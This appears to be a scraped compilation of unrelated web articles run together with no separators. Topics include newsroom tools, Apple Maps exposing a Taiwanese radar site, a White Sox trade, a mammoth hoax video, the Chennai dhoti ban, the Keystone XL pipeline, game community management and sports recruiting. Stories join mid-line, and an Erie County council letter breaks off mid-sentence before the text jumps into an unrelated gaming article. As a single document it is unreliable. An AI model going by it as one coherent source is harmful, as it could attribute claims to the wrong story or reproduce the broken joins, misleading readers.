Intrigued? Here’s a primer on using Slack in newsrooms, from the Times UK’s Matthew Taylor.
If other reporters need to tinker with your data:
If you can use spreadsheet editors like Airtable or Google Sheets, or experimental visualization app Google Fusion Tables, you’re ahead of the game. They are likely the best options for editing data.
Using one of these tools will be simpler for both data and traditional journalists to work with, said Kuang Keng Kuek Ser, a Tow-Knight Center fellow and a data visualization consultant. “I don’t recommend very sophisticated tools, because data sharing with Google Drive has an easier learning curve,” Keng said. The other perk? They integrate nicely with Slack, which helps keep the entire newsroom abreast of the digital and data workflow.
If you’re dealing with a large enough data set, though, Google’s apps might get bogged down. If so, you might want to simply publish your data on GitHub – the data journalism world will thank you for releasing your numbers to the world – or to more technical solutions.
One idea: use the Django web framework to build a simple content management system-style data entry app, as presented by L.A. Times computer-assisted reporter Ben Walsh and New York Times interactive news journalist Ken Schwenke at NICAR 2015.
Or, you know, just use a spreadsheet. Either way.
If you need a few more hands on deck for that video project:
You just missed collaborative tool VidMaker, which was acquired by YouTube and shut down in late January. But now is the time to try cloud-based video editor WeVideo.
Reporters can capture video out in the field using WeVideo’s mobile apps, and then send the raw footage back to the newsroom to edit or use the mobile editor to quickly put together their own video. With the premium version, videos can be shared for multiple reporters to edit together.
It’s not exactly Adobe, so this is not the place for your longform documentary footage. But if you’d otherwise be editing on your phone or using Soundslides, you can get a much more professional product with WeVideo, said Lisa Dush, a digital storytelling professor at DePaul University.
“The ability to have a project that’s living in the cloud and is edited in the cloud is huge,” Dush said. “Digital storytelling tends to be a solitary process, and then feedback comes at the end. It’s great to have these tools where you can intervene and collaborate at the draft level.”
The downside? Besides its reliance on an Internet connection – which can be circumvented with WeVideo’s offline desktop app for Chrome – and its propensity to crash the browser, all your footage will live in WeVideo’s server.
For journalists concerned with cybersecurity, that may not be a risk worth taking.Here’s a bad morning if you’re a Taiwanese general: you open your morning newspaper, and you find a map of your brand new TOP SECRET $1.2 billion radar facility. Even worse, the map is a screenshot of Apple’s new iOS mapping software, which means there are millions of people with access to satellite images of a classified military facility. And it’s not like the facility is a minor, unimportant building. According to PhysOrg:
The Hsinchu base houses a cutting-edge long-range radar procured from the United States in 2003. Construction of the radar is expected to be completed by the end of the year. The ultra-high-frequency radar, supplied by US defence group Raytheon, is capable of detecting missiles launched as far away as Xinjiang in China’s northwest, military officials say. They say the radar, which cost $1.23 billion, is designed to give Taiwan minutes of extra warning in case of a Chinese missile attack.
Well, one thing’s for sure: If China didn’t know where the facility was before, they do now. In the past, militaries around the world have asked Google to blur or lower the resolution of certain sensitive locations in Google Earth or Google Maps. Taiwan says they have submitted a request to Apple, but Apple hasn’t released a statement yet. It’s funny–we’ve been complaining about Apple Maps missing a ton of information, but this development meant that they were too detailed and accurate. At least you’d feel that way if you were a Taiwanese general.
Filed in. Read more about Apple Maps.GLENDALE, AZ – The Chicago White Sox have reportedly agreed to a deal that will send outfielder Peter Bourjos to the Tampa Bay Rays in exchange for cash considerations, according to Dan Hayes of CSN-Chicago.
Rays have agreed to acquire Peter Bourjos from #WhiteSox for cash, according to two baseball sources. — Dan Hayes (@DanHayesMLB) March 28, 2017
In a shocking move, the White Sox have traded away their star center fielder for loads of cash. Well, not really.
Peter Bourjos was having a nice little spring after White Sox General Manager Rick Hahn acquired him to provide some outfield depth, as he’s slashing.313/.340/.521 so far. However, being a veteran, it didn’t make much sense to give him the spot in center field while younger players were sitting on the bench or in the minors. But just a few weeks ago, Charlie Tilson went down with a foot injury, and it seemed as if Bourjos would assume the center field position.
Now, it looks like another young player moves up the ranks in the White Sox depth chart: Jacob May. May, who is hitting.339 in Arizona this spring, while earning an.886 OPS, has impressed after years of minimal development as a prospect. At age 25, it seemed this year might be his last shot to earn a roster spot, and he has played with that sense of urgency thus far.
With multiple fantastic defensive plays showcasing his prowess in the outfield, May has a chance to be a very well-rounded starter if his hitting keeps up. His only competition might be Leury Garcia, who also is performing well this spring. However, May is younger and a higher-touted prospect, so it seems like until Tilson returns, the job is May’s.
When Tilson does return, May is likely to be ousted out of his starting position, barring a truly excellent few weeks to start the season off. You never know though. This Bourjos trade may have made room for an emerging star. On the flip side, Bourjos has MLB experience for a reason, and Hahn might be regretting the extra width of his wallet if Bourjos continues his spring level of play in Tampa.
And what are the Sox to do with the money they now have? Although it shouldn’t be much, maybe around $1.5 million, it’s likely to be more than what the Sox signed Bourjos for. The extra dough could be used to woo a top free agent in a couple years. Or maybe not, but either way, there’s no negatives that come with money.
If the money does end up being more than the $1.35 million the Sox were going to pay Bourjos, then it’s just another example of Rick Hahn being a smart and savvy GM.
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EmailAustralian Lou Petho says his video was stolen and used as part of the woolly mammoth hoax. The video was supplied by Australian “paranormal writer” Michael Cohen, who runs “inter-galactic daily news service” allnewsweb.com. The footage bears his name and that of a media distribution service, Barcroft Media. The clip brought out the Loch Ness Monster and Big Foot believers who saw it as a mammoth proof of life that confirmed earlier reports from Japanese scientists that it might be possible to bring the mammoth to life using frozen DNA. Others claimed it was a hoax, or just a video of an elephant or a bear with a fish in its mouth.
Michael Cohen previously distributed a hoax video claiming to show a dead alien in Russia. Two YouTube users, HOAXKiller1 and ModerateMartian, eventually got to the bottom of the mystery after finding the original footage, sans mammoth. The footage was shot by Australian documentary filmmaker Lou Petho in the Sayan Mountains in Siberia last year. He filmed the video for a documentary he is making re-tracing his grandfather’s escape from a Siberian prisoner of war camp in 1915 by walking across Siberia to Budapest. A screenshot of the hoax video showing the "woolly mammoth". “I assume he [Cohen] has taken it or people that he deals with has taken my footage and through CGI created a mammoth crossing the river,” he said.
“They sold it to Barcroft Media saying look we’ve got this footage it’s genuine.” Australian Michael Cohen, a "paranormal investigator" with allnewsweb.com. Petho said he contacted Barcroft who were “appalled” to hear the footage was fake, offering a “financial arrangement” to settle the matter. Some of the news outlets contacted about the hoax by Petho corrected the record but he said many did not respond to him. “If it was a couple of kids in their bedroom having fun I think it’d be fantastic, I think it’d be a good laugh, [but] what disturbs me is that it’s people who are stealing footage, creating a lie and treating the general public as fools... and were making money out of it,” said Petho. Documentary maker Lou Petho's grandfather, Lajos, who escaped a Siberian POW camp in 1915.
Material Cohen has published on his website and YouTube channel has been used to generate countless stories about UFOs, aliens and other strange phenomena. This includes a recent story about a “dead alien” found in Russia, since revealed to be a hoax, and several stories about aliens captured in footage in Australia. Previously, Cohen ran the website oneworldpsychics.com and it is understood he claimed to have psychic abilities. In an email interview Cohen, from Sydney, said that as a paranormal writer and investigator he was sent videos of various purported phenomena “all the time”. “I do due diligence to the best of my abilities. Needless to say many of these might well be hoaxes, however I feel I am being somewhat defamed and the entire notion of a paranormal investigator is being defamed,” he said.
Cohen said the story about the hoax video was a “media beatup” and that Petho was blowing it “way out of proportions”. He said he was entitled to use Petho’s video as it was uploaded on to YouTube and into the public domain. “The field of paranormal research is nevertheless valid and if only ten per cent of such videos show real phenomena then the entire enterprise is justified,” he said. “Journalists hostile to the notion that there is any spiritual or metaphysical aspect of our lives seek to discredit this type of thing and turn the average person into a soulless robot serving corporate interests devoid of any belief system or even mystery in their lives. “Perhaps I should have been more careful, perhaps I wanted people to believe too much that something more is out there. I am sorry if I caused Lou any grief.”FILE photo: Tamil Nadu Chief Minister J Jayalalithaa
The Dhoti ban is now a saga of epic proportions, with Tamil Nadu Chief Minister J Jayalalithaa declaring war on clubs that refuse entry to people wearing the traditional garment. She has called it "sartorial despostism" and said such a ban is "a mockery of Tamil culture."The chief minister has promised to revoke licences of clubs that enforce a dhoti-less dress code and says a bill is on its way to ensure that the dhoti gets due respect.Sources in the Tamil Nadu Cricket Association (TNCA) Club in Chennai, which has earned massive criticism for refusing entry to dhoti-clad Madras High Court judge Justice Hariparanthaman last week, say that the club is open to re-examining its dress code.The club only allows members or guests dressed in full trousers, shirts or T-shirts with collars and leather shoes to access its premises. And so it told Justice Hariparanthaman when he turned up to attend a book release function on July 11."After over 60 years of Independence, I can't accept this. They can have rules for their members, not for visitors who come on invitation," said the upset Judge.The Madras High Court today referred a petition against the ban to a specially-ordered bench.It is a rare issue that finds the DMK on the same side as Ms Jayalalithaa and her ruling AIADMK. The dhoti is one such.On Monday, the issue had found its way to the Tamil Nadu assembly where it was brought up by DMK leader MK Stalin. "It's not just the TNCA Club, many clubs like the Gymkhana Club, Race Course Club and Boat Club also follow such a rule, which has not changed in the 67 years the British left the country," he said, sometime after his father and party chief M Karunanidhi had sought the state government's intervention on the matter and said, "the dhoti is a symbol of Tamil culture." (Judge in Dhoti Denied Entry at Chennai Club; Karunanidhi Livid) Officials at the TNCA club have claimed that ban on the dhoti is more a practical move than a vestige of the British Raj. "The ban on dhoti is to prevent wardrobe malfunction under the influence of alcohol, nothing else. (But) We can't say so in public," said a senior club official. (Read more...)INDIANAPOLIS -- Mark Hollis, who has spent the past seven and a half years as athletics director at Michigan State, has been named vice chair of the NCAA Division I Men’s Basketball Committee for the upcoming season and chair of the committee for the 2016-17 academic year. Joe Castiglione, the vice president and director of athletics at Oklahoma, will serve as chair for 2015-16.
“I love college sports. Over the past 35 years, I have been afforded the opportunity to learn and collaborate with a diverse collection of individuals through sports on campus,” Hollis said. “Sharing the passion, integrity and dedication of the men and women serving on the NCAA Men’s Division I Basketball Committee, I look forward to continuing my commitment to the values of education and student-athletes. College athletics provides amazing opportunities for today’s students and value for our nation’s collective future. The NCAA Men’s Basketball Tournament is a platform that allows us to share with the world a small glimpse of those broad educational, leadership, teamwork and athletic opportunities available to 460,000 student-athletes annually.
“It is with great responsibility, humility and appreciation that I serve on the NCAA Men’s Basketball Committee, and I look forward to working with our committee, 2016 Chairman Joe Castiglione, Dan Gavitt and the rest of the NCAA staff over the upcoming seasons.”
During Hollis’ tenure, Michigan State has appeared in 18 consecutive NCAA Division I men’s basketball tournaments, advancing to seven Final Fours and winning the national championship under coach Tom Izzo in 2000. Hollis has been the mastermind for such notable basketball events as the “BasketBowl,” a game played in 2003 between the Spartans and Kentucky at Ford Field in Detroit, which attracted a then-world record of 78,129 fans. He also orchestrated the first basketball game played on a flight deck of an aircraft carrier, which took place between MSU and the University of North Carolina in 2011.
Future events include a 16-team tournament scheduled for November 2017 and a four-team round-robin tournament in 2018, which will feature Michigan State, Florida, North Carolina and Texas.
“Mark has been an outstanding member of the committee for the past three years, and while he is known for his creativity and innovation, he is also exceptional when it comes to studying the game and doing what is in the best interests of the participating teams,” said Gavitt, the NCAA vice president of men’s basketball. “Mark offers unique perspectives and takes into consideration how every decision made by the committee impacts coaches and student-athletes, as well as our fans and media partners.”
Hollis was a student manager under legendary coach Jud Heathcote while earning his bachelor’s degree from Michigan State in 1985. He earned his master’s degree from Colorado in 1992 and spent time working at Pittsburgh and at the Western Athletic Conference before returning to Michigan State in 1995. He was named athletics director designee in the fall of 2007 before moving into the role Jan. 1, 2008.Former MotoGP Champion Nicky Hayden sat on something other than a MotoGP bike for the first time 13 years at Motorland Aragon this morning, but the American is positive after his first World Superbike test on the Honda in Spain.
Hayden tested the Honda CBR1000RR on a wet, cold and foggy day at the Spanish circuit but he was just glad to get some laptime under him as he tackles World Superbike for the first time in 2016 as a full-time rider.
“First day back on the Superbike as I said yesterday, not the first time ever just the first time in 13 years,” said Hayden, who enjoyed an American wildcard back in 2002 at Laguna Seca.
“Unfortunately it was really foggy this morning, foggy and cold and we got a late start but we were able to make a start – we got a couple of exits with the rain tyres just to get going,” Hayden told bikesportnews.com.
“It meant we were able to at least feel something, set the levers and a few things and then we got to make four or five exits with the slicks even the sun came out a bit and the track dried up.
“Obviously I need a lot more time to say much but we’ve got started and lets start fixing problems and improve the laptime, improve the feeling and improve a lot of stuff.”
Although the American has ridden MotoGP bikes for the past 13 years, he said moving to World Superbike and a different style of motorcycle doesn’t faze him.
“Yes, things are different but it’s still a motorcycle just it’s got a different size engine and a different brakes, different tyres but it’s just a bike,” he said. “I wasn’t trying to think too much, just go out and ride it.
“The bike I would say, one of the things is the power delivery. We had to work a lot – I like a lot of connection, to really feel the power delivery and not feel too much just electronics, I like to really want to know what’s in my hands so I would say that’s the thing we had to adjust most.
“I would say I’d like less electronics in the opening of the bike, so I can really feel the throttle but at the moment it just feels different, that’s all.
“It was such a short day, so I really need more time and to go faster, until I’m really near the limit I can’t say much but I enjoyed the day, I enjoyed riding the bike and let’s keep working.”
Click here for more picsThe so-called ‘coffee shop conquerors’ are fast-becoming anti-social menaces in modern society, the study found.
They are lured into coffee shops by free wi-fi and no time restrictions. However their prolonged presence in the cafes can lead to territorial disputes and even falling sales.
The report called Dibs! Customer Territorial Behaviours, published in the Journal of Service Research, was carried out by marketing professors Merlyn Griffiths of the University of North Carolina and Mary Gilly of the University of California.
They said that individual workers are effectively setting up their entire office at a table: laying out their laptop, smartphone, iPad and bag, ordering a large skinny latte and then staying there the whole afternoon.
These consumers consider the price of their coffee to be their'rent' and a guarantee that they cannot be kicked out of the establishment.
But while they provide some income to the cafes, they are becoming a turn-off to other customers.
The report said: "Changing work habits have created a new class of teleworkers for whom the office is wherever they can access a wireless signal."
A single cup of coffee effectively buys a workstation for the afternoon.
"They use the devices they have at hand - laptop, phone, purse, briefcase, backpack, clothes, coffee cup - and place them all on the table top and chairs surrounding them.
"This effectively barricades against others looking for a place to sit down and relax. A single customer can turn a four-person table into a makeshift office,” the research found.
The research went on to say that “in pursuit of undistracted privacy”, customers engage in territorial behaviours that “communicate to other customers that intrusion is not welcome”.
Workers in the café are increasingly having to resolve rows between customers, the report said.
Chains such as Starbucks offer free wi-fi in hundreds of shops across the UK. The laid back approach is designed to encourage shoppers to stay for longer in its so-called “third place” areas, which are made to feel half way between a private home and a public space.
However many customers who set up their office in coffee shops are “crossing the line”, the report said.
It added that action by coffee shops to limit wi-fi access has “limited success” as this could alienate people.
Professor Katherine Lemon, editor of the Journal of Service Research, said: "Cafes and coffee shops were Facebook for many, many earlier generations - spaces where people met, talked and kept track of friends and neighbors.
"What Griffiths and Gilly have found shows our efforts to connect technologically - anywhere, anytime - can interfere with the common courtesy we've traditionally extended to one another."
The academics found that for many shoppers, buying a single drink or just using something with the café’s logo on it gives them “territorial rights” to the table they are sitting at.
This can decrease sales and “discourage” other customers who want to sit and have a coffee.
"Nowhere is the premium on space to sit and sip greater than in cafes and coffee shops,” it said.Chris Hadfield on how David Bowie responded to Space Oddity cover and what it takes to be an astronaut
Updated
In 2013, while rotating around the Earth, Canadian astronaut Chris Hadfield recorded a cover of David Bowie's early career hit, Space Oddity.
It started as a little "family project", he told Lateline — something fun to do with his son, back on Earth, while he was aboard the International Space Station.
Four years later, the music video they created and released has been viewed more than 35 million times, and Hadfield, now retired, has become one of the best-loved figures in seven decades of space exploration.
He spoke to Lateline about the late pop star's reaction to his recording, what it takes to become an astronaut, and whether Australia needs to carve its own path in the space industry.
David Bowie 'loved' the recording
He described it as the most poignant version of the song ever done, which just floored me. I think, for him, he knew he was ill — it was getting to the end of his life. He wrote that song at the beginning, when he was still 19 or 20, before we had even walked on the moon. He had always fantasised about flying in space — Starman, and Mars, and all that other stuff, and I think for him it was just like a gift, to have that song updated with the lyrics, performed actually in space, just a couple of years before he was taken. To me that might be the best part: that he got delight out of my particular version of the song.
What it takes to be an astronaut
You have to be a certain size, because you have to fit both in a space ship and a space suit, so you can't be enormously tall or short or fat or thin. You just have to fit — [like] Goldilocks. You have to have an advanced university degree. You have to have the right citizenship, of course, for any particular country's agency. And hopefully you have some work experience that is indicative of your ability to succeed as an astronaut. So those are the basic filters. In Canada, about 8,000 people started the process, about 3,700 completed it — had a good application. And from that we whittled it down to two.
Should Australia create its own space agency?
To deny that the rest of the universe exists, or that space isn't a viable subset of the businesses of the world, I think is a little bit self-defeating. And Australia, with the Woomera test range, with three Australians that have left this country in order to become astronauts, I think they have a long history of recognising that potential is out there. And it's only slightly smaller than Canada in size and population. I think Canada is maybe not a bad example of the type of space agency that Australia could form. Where are the areas of expertise like Canada has pursued? Robotics, and remote sensing, and telecommunications … really benefit our country, and it's a multi-billion-dollar industry in Canada. If you're a young Australian, and you're interested in exploring the rest of the universe, you have to leave. And that can't be good for Australia to tell your young people that, 'Oh, you're interested in space travel? Then go somewhere else'. That seems short-sighted.
Topics: science-and-technology, astronomy-space, space-exploration, spacecraft, australia, canada
First postedWASHINGTON (AP) — The Canadian company that wants to build the disputed Keystone XL pipeline in the U.S. submitted a new application for the project Friday after changing the route to avoid environmentally sensitive land in Nebraska.
TransCanada said it applied again to the U.S. government for permission to build the pipeline to carry oil from so-called tar sands in western Canada to a company hub in Steele City, Neb. From there the project would link up with other pipelines operated by the company to carry oil to refineries on the Texas Gulf Coast.
President Barack Obama blocked the pipeline earlier this year, citing uncertainty over the Nebraska route — a decision that drew fire from Republicans. TransCanada initially proposed a new route last month that would veer east around the groundwater-rich Sandhills region before looping back to the original route.
State Department approval is needed because the $7 billion pipeline would cross a U.S. border.
"The multi-billion dollar Keystone XL pipeline project will reduce the United States' dependence on foreign oil and support job growth by putting thousands of Americans to work," said Russ Girling, TransCanada's president and chief executive officer. "Keystone XL will transport U.S. crude oil from the very large Bakken supply basin in Montana and North Dakota, along with Canadian oil, to U.S. refineries."
"Our application for a Presidential Permit builds on more than three years of environmental review already conducted for Keystone XL," Girling added. "It was the most comprehensive process ever for a cross-border pipeline and that work should allow our cross border permit to be processed expeditiously and a decision made once a new route in Nebraska is determined."
In blocking the pipeline in January, Obama said there was not enough time for a fair review before a looming deadline forced on him by congressional Republicans. The action did not kill the project but put off a tough choice on the once-obscure pipeline, which has become a flashpoint in a bitter partisan political fight over jobs and the environment and a focus of the presidential campaign.
Ironically, the filing came on the same day that the Labor Department released a report with mixed blessings for U.S. job growth. Although the overall jobless rate slipped to 8.1 percent, new hiring wasn't as brisk as many analysts had predicted and was more modest than in the first couple months of the year.
Pipeline supporters, including Republican presidential hopeful Mitt Romney and GOP congressional leaders, call the project an important job creator and have called on Obama to support it. Many business and labor leaders also back the pipeline, which would travel through Montana, South Dakota, Kansas and Oklahoma, in addition to Nebraska.
Opponents, including Democrats and environmental groups, say the pipeline would transport "dirty oil" from tar sands in Alberta, Canada, that requires huge amounts of energy to extract. They also worry about a possible spill.
Nebraska Gov. Dave Heineman signed a bill last month that allows the state to proceed with its review of the proposed pipeline through his state, regardless of what happens at the federal level.
A senior State Department official said U.S. officials would conduct a thorough review of the new application, with a final decision not expected until early next year — well after the presidential election.
Officials will use previous studies to the extent possible, the official said, but will need to complete a new environmental assessment, especially since the route has changed since TransCanada first applied for the pipeline in 2008.
The State Department review is likely to include hiring an outside consultant, a point of contention in the original review conducted by the agency. Democratic lawmakers complained that the firm that conducted the review, Cardno Entrix, had a conflict of interest because of previous work with TransCanada.
The department's acting inspector general found no conflict of interest or improper political influence but said the State Department could have done a better job evaluating some concerns about the project and should improve its oversight of contractors.Posted on November 28, 2016 at 5:16 am by /
T-ara’s Hyomin alongside actors Kim Jung Hoon, Park Han Byul and Park Jin Joo will star in the upcoming drama Unusual Man & Woman.
A representative revealed the casting of the four on the 28th, “Unusual Man & Man will be a new version of ‘Three Guys & Three Girls’ by director Kim Sung Duk who has directed MBC’s Three Guys & Three Girls, Three Friends and tvn’s Roller Coaster, telling the story of 3 pairs of romance.”
Lead star Kim Jung Hoon plays the good looking son of a wealthy family but is clueless when it comes to women. Park Han Byul plays an easy-going former Miss Korea turned golf instructor at a health club.
Hyomin plays a character who likes to do favors for others and is doing everything she can for a younger flower boy.
Filming will begin in December and is expected to air in the first half of 2017. The drama is as well being prepared to be broadcasted online in China. The designated local broadcaster is still being discussed.
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Source: Naver
was last modified: byThe following is an open letter from Jay Breneman, Chairman of Erie County Council, that was posted to his Facebook page and GECAC's statement in response to Breneman's comments at the last County Council meeting:
Jay Breneman writes:
Note: this is a rather lengthy read. I can no longer pursue this matter as my term on council is coming to an end, so I’m leaving this for the benefit of an informed public.
During the course of the 2018 Erie County budget review and deliberations, I requested all 19 recipients of unrestricted county grants to provide copies of how they spent those grants in the previous year.
These grants amounted to nearly $2 million.
From what I was told, such a request for information has never been made before, and for years prior the grants were normally renewed year-after-year, including the occasional increase.
Prior to 2007, many of these grants were paid for out of the general fund, but since then have been paid out of the County’s portion of gaming revenue.
As of right now, there is no formal grant request process for an organization to seek these funds, be it their first-time or for the yearly renewal consideration. Nor is there a meaningful review or reporting framework for how the grant was utilized.
A few of my colleagues and I have advocated for better reporting, and better standardization of how these county grants are accessed and used, and I am hopeful that council and the administration will see fit to continue down this path in the coming year.
After seeing how some of these grants were used, council reduced or eliminated some of these grants, and has restricted the grants to one such organization, GECAC.
In restricting those grant dollars to GECAC, we sought further information regarding how and why GECAC used these funds.
Many of us were shocked to see that GECAC used their grants to pay for such things as:
Their annual dinner at around $25k
Meals and other expenses for GECAC board members at around $10k
Meals and other expenses for GECAC staff at around $9k
Conference expenses at around $22k
Insurance for their board members at around $9k
Organizational membership fees of around |
Feedback and Suggestions
When developers create a game, they have their own ideas of what will work and what won't, and they know what they want to put into their game. Most of the time, their plans are also based on experience, marketing studies and polls, and the opinions of many people from the PR, marketing, sales, and QA departments.
But remember that in the end, the only people who will judge your game will be the players, so why not directly ask them what they want? Gathering and directing players' feedback and suggestions can be a very difficult task, but it can also be very rewarding.
First of all, you need to provide your community the tools to usefully communicate their feedback. Many tools exist for this purpose, but two important ones may be website-based customer support ticket software, and of course your official boards. Using the board, the players will not only communicate to you, but also discuss with each other in a big online brainstorm that can be very productive in terms of ideas... but also in terms of useless things.
After you have provided your community with the tools it needs to provide you feedback, you'll have to gather all the ideas and advice of your players. As it can take a very long time, I recommend doing it on a regular basis.
Keep in mind that developers don't have the time to read 1500 suggestions -- even if they are all very good. It's the job of the community manager to pick which suggestions are genuinely relevant and forget the others. Once she's picked the 10 or 20 best suggestions she could find, her job will to translate the ideas of excited players into words that make sense for both the development and the business parts of the company. A good suggestion report should at least include:
A short and precise description of the suggestion
The target (is this improvement made for hardcore gamers, players that have not yet bought the game, casual gamers, business partners?)
The positive impact it could have (on sales, marketing, customer support, community management, or anything relevant)
The impact on the development team (what will they have to do?)
The impact on the business (will it cost you money?)
After that, the report is sent to a dedicated person within the development team, and is used to improve the current game, prepare the following one, and so on.
As these reports are not always read by the dev team or anyone on the business side, it can be good to regularly merge all the reports you have, make a selection, and then send it to the dev team again. For example, if you sent a report with 10 suggestions every month for the past six month, just select the 20 best suggestions from these six reports and send them again as a digest.
Community and Communication
Most of the advice people learn in PR and communications studies are also relevant for community management, and I often think that the best community managers should have a PR and customer service background. This section will discuss some important points no community manager should forget.
Rule I: Know Your Community
A gaming community is like a country, with its own language, its own culture and rules, and even if a community manager does not have to be part of it, he has to know it well. Knowing the slang of your community is fundamental, as abbreviations can come from very diverse origins.
As an example, in the French community of Rappelz, we had players who came from the U.S. servers with their own language, others coming from World of Warcraft or from other games with their own habits, and in the first weeks after the release, these languages fought for domination, while another slang, coming from the new players, was created. This was a very interesting time to experience, but could be very confusing for community managers.
Knowing the language of your community also means understanding who your players are, what they do and where they come from.
In one game, the game masters were very strict on swear words and insults; I saw some players insulting each other with Japanese slang from the anime they watched, so the game masters wouldn't understand it. In that kind of case, having a community manager coming from the community itself may be very useful.
Knowledge of the community is also very important for understanding how it works, who the leaders are, what the implicit rules among players are, and more. Finally, knowing your community also means knowing your game.
It may be hard to understand why your community is crying about special areas in a particular map that give an advantage to one type of player, if you have never played in this map -- or even in the game.
Rule II: Communicate
This may be the second rule in community management, but it's the first and most important one in communications. As Paul Watzlawick said: "One cannot not communicate." This very famous sentence means that everything you do -- or do not do -- will be interpreted by your community, by the media, by your business partners, by everyone.
If you don't communicate, somebody else will do it for you, and then you can't control it. Any communications professional will tell you that uncontrolled communication is a prelude to disaster.
That's why you have to communicate, on everything, and with every tool at your disposal. Even the smallest maintenance has to be announced in advance and explained; any gameplay change has to be documented.
You have to communicate in a way that will be understandable to your players -- so ban technical language. If you're planning to apply an unpopular but necessary measure to your game, don't even think about trying to hide it.
If you do that, the players will find out in less than 24 hours and simply burn you alive. The best way is to communicate, discuss, and explain why this measure is important and why you have no choice but to do it. It's rare to have a chance to explain your customers why you do something, and talking to them directly will establish a real discussion, so don't miss out on it.
Of course, you can't tell your players everything -- and they don't have (and don't want) to know everything. So when you have to answer a question, just sit, look at the question, look at the information you can give them, and formulate the best answer you can with what you have. That's the best you can do.
Players are starving for communication. They constantly ask for it, and even if you want to be the most communicative company in the world, they will still think you refuse to give enough information.
If you communicate frequently, you'll minimize the risk of uncontrolled communication. If you communicate enough, players will read rumors, and think, "Our community managers didn't tell us anything about it, so we should just wait for official information." Isn't that the dream of anyone in communications?
Rule III: Be Honest
This rule is simple: if you're not honest, you're not reliable, and if you're not reliable, everything you say has no value at all. If a community manager doesn't earn the trust of her community, or loses it by lying or favoring certain players over others, then it's useless to communicate, because her own community will prefer trusting other sources -- most of the time unofficial -- instead of the official one.
If you're thinking about lying about an unpopular patch applied into the game, or hiding it, realize that you're better off communicating about it than risking losing the trust of your community. The companies who lie to their customers are the ones that underestimate the power of community, and it never brings anything good.
Rule IV: Don't Underestimate Your Community
The power of a community is both huge and impressive. A common mistake is to underestimate what a community can do for you or against you, and therefore not invest enough in community tools and community personnel.
Making this mistake can lead you to miss some of your biggest support when it comes to media, testing, moderation, and many other things. It can also lead to an angry community. You don't want to see 5,000 angry players posting in all the gaming forums they know that you don't care about your community.
Underestimating community also means underestimating players, which can lead to other mistakes, like hiding some of your game's modifications because you think the players won't see it, giving information to a foreign magazine and thinking that the European players won't hear about it, not protecting your game files enough because you think the players won't be able to view (and modify) them, and a number of other problems. The history of video game development is full of mistakes made by people who underestimated their players.
If something is possible, then there will be at least one player within your community who will do it.
Conclusion
A gaming community is a wonderful thing. It's living, growing, changing. It can help you by providing bug reports, feedback, and suggestions about your products. It can help you by spreading your word around the world through the internet, and even more. But it can also react in a manner you won't like.
To help it grow it in a good and productive way, the job of a community manager is to provide tools, entertainment and information to feed the beast, and then keep it alive and active by constant attention.
Everyone realizes that traditional marketing and public relations have changed thanks to the internet. Even so, community management is a newcomer in the media relations family, and all companies will have to adapt.
The community phenomenon is growing and changing with the arrival of new tools and social networks, and online communities have become more and more organized. I won't be surprised when we see a gaming community file a class action on a publisher in a few years.
Placed in the middle of customer support and public relations, community management should be part of all media and marketing plans in the gaming industry. Unfortunately, it's a fact that a lot of the marketing managers who went to business school in the '80s don't take community seriously or realize its usefulness.
After having worked on community management and public relations, I think that cooperation between these three ways of communications -- marketing, PR and community management -- is the next step to having really effective communication, and leading a game to the top. After all, could a game based on player's needs and communicating with its fan base really miss its goals?
[NOTE: You've probably noted that I talk about "players" and "community" in this article. Linguistic specialists give a lot of importance to the meaning of words, and so do I. Marketing executives talk about targets. PR executives talk about the public (and very often also about targets, but that's because lots of PR reps are marketing people in disguise).
Commercials talk about customers. Community managers talk about players, or community members. The difference isn't so big, but all these words all have particular meanings which are quite representative of what people may think about the players and how different these positions are.]
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Copyright © UBM Tech, All rights reservedToday’s the 10th anniversary of Tony Wilson’s death.
The Factory Records founder, Hacienda nightclub manager, In The City music conference organiser, broadcaster and professional Steve Coogan impersonator (ok, so I may have made that last one up) passed away on 10 August 2007 but his legacy lives on.
Tony Wilson, perhaps more than anyone else in modern times, helped to kickstart the vibrant arts scene that Manchester now takes for granted.
Tony Wilson’s headstone
I was walking through Chorlton’s Southern Cemetery a few days ago when I spotted a rather stylish-looking headstone.
On closer inspection, it turned out to be none other than Tony Wilson’s famous black granite headstone designed for his grave by Factory Records stalwarts Peter Saville and Ben Kelly. Describing him as a ‘broadcaster’ and ‘cultural catalyst’, it also features a brief quote from ‘The Manchester Man’ by Mrs G Linnaeus Banks (aka Isabella Banks):
The Manchester Man
I only saw Tony Wilson in person once, not long before he passed away.
It was a public debate, something along the lines of ‘Would the rest of the UK be better off without London?’, and in truth I only went because he was speaking. I don’t remember much about it now, although I do recall his answer when asked to name his favourite part of London:
“Euston Station, on a train back to Manchester”
Anthony H Wilson 1950 – 2007
AdvertisementsPenn State's defensive line just picked up a massive recruit – both figuratively and literally. PJ Mustipher, a four-star defensive tackle from Maryland who stands at 6'4.5 and 290 pounds, announced his commitment to the Blue and White. As the nation's No. 98 overall prospect, he is now the Nittany Lions' top-ranked defensive recruit in this class.
To earn Mustipher's signature, Penn State needed to beat out a number of other schools. Chiefly, at least early on, was Notre Dame. Mustipher's older brother Sam plays along the Fighting Irish's offensive line. Additionally, schools like Tennessee, Maryland, and Ohio State were purportedly heavily in the mix for his services.
The Mustipher File
Class: 2018
2018 Size: 6'4.5, 290 lbs.
6'4.5, 290 lbs. Pos: DT
DT School: McDonogh School (Owings Mills, MD)
McDonogh School (Owings Mills, MD) Composite Rating: ★★★★ (.9550)
★★★★ (.9550) Composite Rank: No. 98 Nationally, No. 6 DT
Penn State has been on Mustipher for some time – according to 247Sports, his first unofficial visit occurred all the way back on Nov. 15, 2014. He returned to campus on March 28, 2015, at which time James Franklin extended an offer. This was good enough for the Nittany Lions to be named his leader on June 24, 2015.
But as always, Notre Dame messed everything up. The offer – one that it was believed he coveted – came in April of 2016, and at that point, many believed that Brian Kelly's squad moved into pole position.
He made more trips back to State College, including one in April of this year. That same month, Mustipher checked in at South Bend and Knoxville. Penn State seemed to move into a commanding position after visits in May and again last month for the Lasch Bash festivities.
It was a big win for the Nittany Lions on the recruiting trail, as they earned a commitment from one of the best defensive tackles in the region, and an Opening Finalist. As he develops, he has the potential to be analogous to former Nittany Lion Austin Johnson, a massive player at tackle who eats up space and raises hell in backfields.
But that's Mustipher's future. For now, he is the 22nd member of Penn State's 2018 class. With his commitment, the Nittany Lions move back ahead of Texas to No. 3 in the 247Sports rankings.U.S. Vice President Mike Pence (top R) waves from the steps of Air Force One as his wife Karen (2nd L) and their daughters Charlotte (L) and Audrey step aboard to depart Sydney, Australia, April 24, 2017. REUTERS/David Gray
